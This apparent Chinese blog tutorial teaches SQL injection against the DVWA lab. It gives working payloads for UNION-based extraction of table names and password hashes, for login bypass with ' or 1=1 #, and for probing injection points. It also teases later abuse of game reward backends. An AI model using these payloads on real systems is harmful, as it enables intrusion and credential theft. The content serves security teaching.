危险!!!也许你的web网站或服务正在悄无声息地被SQL注入

本文涉及的产品
可观测可视化 Grafana 版,10个用户账号 1个月
函数计算FC,每月15万CU 3个月
注册配置 MSE Nacos/ZooKeeper,118元/月
简介: 危险!!!也许你的web网站或服务正在悄无声息地被SQL注入

2010年秋季,联合国官方网站遭受SQL注入攻击。

2014年一个叫“TeamDigi7al”的黑客组织攻击了美国海军的一个名为“Smart Web Move”的web应用。此次事件直接造成美国海军数据库超过22万服役人员的个人信息被泄露。而事后,美国海军动用了超过50万美元来弥补此次的数据泄密事故。

当然,我也曾经试图通过抓包工具抓包,获取游戏兑换码,充值验证平台的网络地址和数据,通过sql注入发现70%的游戏兑换码后台,充值平台等都存在严重的SQL注入漏洞(不过我没有利用这些漏洞刷奖励,因为作为游戏开发者,这是对游戏生态的保护,也是红线,不能越过)。

什么是SQL注入

       Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

        在游戏上线后,游戏官方的运营经常会搞点活动提升DAU,发一些福利,这些福利有很多都是通过链接打开,要求你输入自己的账号和兑换码,这些链接大都是将网页数据通过http/https协议传输到web服务器解析,然后根据条件满足与否来判断是否发货,我相信大多数游戏玩家心里对福利能偷偷地被无限领取抱有幻想,限于本文讨论的主题和篇幅限制,我在下一篇文章将给大家介绍下如何利用sql注入来无限刷游戏奖励image.gif编辑(作为游戏玩家),又如何防止sql注入来被玩家无限刷奖励image.gif编辑(作为游戏开发/发行),当然sql注入事件不仅仅是游戏开发领域的,在诸多的网站登录验证,或者其他的敏感操作都有可能通过sql注入被黑客或外挂利用。

SQL注入详解

SQL注入毫无疑问是最危险的Web漏洞之一,因为我们将所有信息都存储在数据库中。其解决方案之一,有许多公司实施Web应用程序防火墙和入侵检测/预防系统来试图保护自己。但不幸的是,这些对策往往是不充分的,并且很容易被绕过。

尽管不能依赖防火墙来防止所有SQL注入,但一些防火墙在作为监视工具时也会很有效。由于目标存在防火墙,在攻击过程中会检测到攻击者并阻止攻击。因此,经过优化和绕过的SQL注入具有更高的成功率;它将更快地提取数据并且不会被很快的检测到。

Sql 注入产生原因及威胁:

当我们访问动态的登录验证网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。

这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

Sql 注入带来的威胁主要有如下几点:

    • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
    • 绕过认证,列如绕过验证登录网站后台。
    • 注入可以借助数据库的存储过程进行提权等操作

    Sql 注入示例一.猜解数据库

    接下来我们通过一个实例,让你更加清楚的理解 Sql 注入猜解数据库是如何发生的。

    使用DVWA渗透测试平台,作为攻击测试的目标:

    image.gif编辑

    先输入 1 ,查看回显 (URL中ID=1,说明php页面通过get方法传递参数):

    image.gif编辑

    那实际上后台执行了什么样的Sql语句呢?点击 view source查看源代码 ,其中的SQL查询代码为:

    image.gif编辑

    可以看到,实际执行的Sql语句是:

    SELECT first_name, last_name FROM users WHERE user_id = '1';

    image.gif

    我们是通过控制参数Id的值来返回我们需要的信息。

    如果我们不按常理出牌,比如在输入框中输入 1' order by 1#

    实际执行的Sql语句就会变成:

    SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

    image.gif

    这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。

    输入 1' order by 1#1' order by 2#时都返回正常:

    image.gif编辑image.gif编辑

    当输入 1' order by 3#时,返回错误:

    image.gif编辑

    由此可知,users表中只有两个字段,数据为两列。

    接下来我们使用 union select联合查询继续获取信息。

    union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。

    输入1' union select database(),user()#进行查询 :

    - database()将会返回当前网站所使用的数据库名字.

    - user()将会返回执行当前查询的用户名.

    实际执行的Sql语句是 :

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

    image.gif

    image.gif编辑

    通过上图返回信息,我们成功获取到:

    - 当前网站使用数据库为 dvwa .

    - 当前执行查询用户名为 root@localhost .

    同理我们再输入 1' union select version(),@@version_compile_os#进行查询:

    - version() 获取当前数据库版本.

    - @@versioncompileos 获取当前操作系统。

    实际执行的Sql语句是:

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

    image.gif

    image.gif编辑

    通过上图返回信息,我们又成功获取到:

    - 当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.

    - 当前操作系统为 : debian-linux-gnu

    接下来我们尝试获取 dvwa 数据库中的表名。

    information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 tablename 和 tableschema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

    我们输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#进行查询:

    实际执行的Sql语句是:

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

    image.gif

    image.gif编辑

    通过上图返回信息,我们再获取到:

    - dvwa 数据库有两个数据表,分别是 guestbook 和 users .

    有些同学肯定还不满足目前获取到的信息,那么我们接下来尝试获取重量级的用户名、密码。

    由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users#进行查询:

    实际执行的 Sql 语句是:

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

    image.gif

    image.gif编辑

    可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。

    直此,同学们应该已经对 Sql 注入有了一个大概得了解,也清楚了 Sql 注入的强大。

    Sql 注入实例二.验证绕过

    接下来我们再试试另一个利用 Sql 漏洞绕过登录验证的实例。

    使用事先编写好的页面,这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。

    image.gif编辑

    我们先尝试随意输入用户名 123 和密码 123 登录:

    image.gif编辑

    从错误页面中我们无法获取到任何信息。

    看看后台代码如何做验证的:

    image.gif编辑

    实际执行的操作时:

    select * from users where username='123' and password='123'

    image.gif

    当查询到数据表中存在同时满足 username 和 password 字段时,会返回登录成功。

    按照第一个实例的思路,我们尝试在用户名中输入 123' or 1=1 #, 密码同样输入 123' or 1=1 #

    image.gif编辑image.gif编辑

    为什么能够成功登陆呢?因为实际执行的语句是:

    select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

    image.gif

    按照 Mysql 语法,# 后面的内容会被忽略,所以以上语句等同于(实际上密码框里不输入任何东西也一样):

    select * from users where username='123' or 1=1

    image.gif

    由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录。

    我们再尝试不使用 # 屏蔽单引号,采用手动闭合的方式:

    我们尝试在用户名中输入 123' or '1'='1, 密码同样输入 123' or '1'='1 (不能少了单引号,否则会有语法错误):

    image.gif编辑image.gif编辑

    实际执行的 Sql 语句是:

    select * from users where username='123' or '1'='1' and password='123' or '1'='1

    image.gif

    看到了吗?两个 or 语句使 and 前后两个判断永远恒等于真,所以能够成功登录。

    还有很多其他 Mysql 语句可以巧妙的绕过验证,同学们可以发散自己的思维进行尝试。

    SQL注入点

    通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX

    对 Sql 注入的判断,主要有两个方面:

    - 判断该带参数的 Url 是否存在 Sql 注入?

    - 如果存在 Sql 注入,那么属于哪种 Sql 注入?

    可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。

    判断是否存在 Sql 注入漏洞

    最为经典的单引号判断法:

    在参数后面加上单引号,比如:

    http://xxx/abc.php?id=1'

    image.gif

    如果页面返回错误,则存在 Sql 注入。

    原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

    (如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入,因为此为入门基础课程,就不做深入讲解了)

    判断 Sql 注入漏洞的类型

    通常 Sql 注入漏洞分为 2 种类型:

    - 数字型

    - 字符型

    其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

    image.gif编辑

    数字型判断:

    当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

    select * from <表名> where id = x

    这种类型可以使用经典的 and 1=1and 1=2 来判断:

      1. Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
      2. Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

      原因如下:

      当输入 and 1=1时,后台执行 Sql 语句:

      select * from <表名> where id = x and 1=1

      image.gif

      没有语法错误且逻辑判断为正确,所以返回正常。

      当输入 and 1=2时,后台执行 Sql 语句:

      select * from <表名> where id = x and 1=2

      image.gif

      没有语法错误但是逻辑判断为假,所以返回错误。

      我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

      select * from <表名> where id = 'x and 1=1' 
      select * from <表名> where id = 'x and 1=2'

      image.gif

      查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

      字符型判断:

      当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:

      select * from <表名> where id = 'x'

      这种类型我们同样可以使用 and '1'='1and '1'='2来判断:

        • 1. Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
        • 2. Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

        原因如下:

        当输入 and '1'='1时,后台执行 Sql 语句:

        select * from <表名> where id = 'x' and '1'='1'

        image.gif

        语法正确,逻辑判断正确,所以返回正确。

        当输入 and '1'='2时,后台执行 Sql 语句:

        select * from <表名> where id = 'x' and '1'='2'

        image.gif

        语法正确,但逻辑判断错误,所以返回正确。同学们同样可以使用假设法来验证。

        别走开,下一篇文章,我将手把手image.gif编辑(老婆说了,妹子可以手把手,要是抠脚大汉就算了)传授如何利用工具抓包,测试sql注入,以及利用注入点来绕过服务器的检测,从而通过非正常手段入侵服务器。

        相关文章
        |
        3月前
        |
        XML JSON 数据安全/隐私保护
        Web服务
        【10月更文挑战第18天】Web服务
        65 9
        |
        3月前
        |
        缓存 移动开发 安全
        Web安全-HTTP响应拆分(CRLF注入)漏洞
        Web安全-HTTP响应拆分(CRLF注入)漏洞
        187 1
        |
        3月前
        |
        XML JSON 安全
        Web服务是通过标准化的通信协议和数据格式
        【10月更文挑战第18天】Web服务是通过标准化的通信协议和数据格式
        185 69
        |
        2月前
        |
        SQL 安全 前端开发
        Web学习_SQL注入_联合查询注入
        联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
        64 2
        |
        2月前
        |
        Go UED
        Go Web服务中如何优雅平滑重启?
        在生产环境中,服务升级时如何确保不中断当前请求并应用新代码是一个挑战。本文介绍了如何使用 Go 语言的 `endless` 包实现服务的优雅重启,确保在不停止服务的情况下完成无缝升级。通过示例代码和测试步骤,详细展示了 `endless` 包的工作原理和实际应用。
        57 3
        |
        2月前
        |
        JSON Go UED
        Go Web服务中如何优雅关机?
        在构建 Web 服务时,优雅关机是一个关键的技术点,它确保服务关闭时所有正在处理的请求都能顺利完成。本文通过一个简单的 Go 语言示例,展示了如何使用 Gin 框架实现优雅关机。通过捕获系统信号和使用 `http.Server` 的 `Shutdown` 方法,我们可以在服务关闭前等待所有请求处理完毕,从而提升用户体验,避免数据丢失或不一致。
        27 1
        |
        2月前
        |
        XML 安全 PHP
        PHP与SOAP Web服务开发:基础与进阶教程
        本文介绍了PHP与SOAP Web服务的基础和进阶知识,涵盖SOAP的基本概念、PHP中的SoapServer和SoapClient类的使用方法,以及服务端和客户端的开发示例。此外,还探讨了安全性、性能优化等高级主题,帮助开发者掌握更高效的Web服务开发技巧。
        |
        3月前
        |
        Web App开发 前端开发 JavaScript
        Web开发者必收藏的10个实用网站,你还没收藏吗?
        将这些网站收藏起来,定期访问,使它们成为您日常工作的一部分,助您在快速发展的 Web 开发领域保持领先。
        146 2
        Web开发者必收藏的10个实用网站,你还没收藏吗?
        |
        3月前
        |
        XML JSON 安全
        定义Web服务
        【10月更文挑战第18天】定义Web服务
        85 12
        |
        2月前
        |
        人工智能 搜索推荐 PHP
        PHP在Web开发中的璀璨星辰:构建动态网站的幕后英雄###
        【10月更文挑战第25天】 本文将带您穿越至PHP的宇宙,揭示其作为Web开发常青树的奥秘。通过生动实例与深入解析,展现PHP如何以简便、高效、灵活的姿态,赋能开发者打造动态交互式网站,同时不忘探讨其在新时代技术浪潮中面临的挑战与机遇,激发对技术创新与应用的无限思考。 ###
        38 1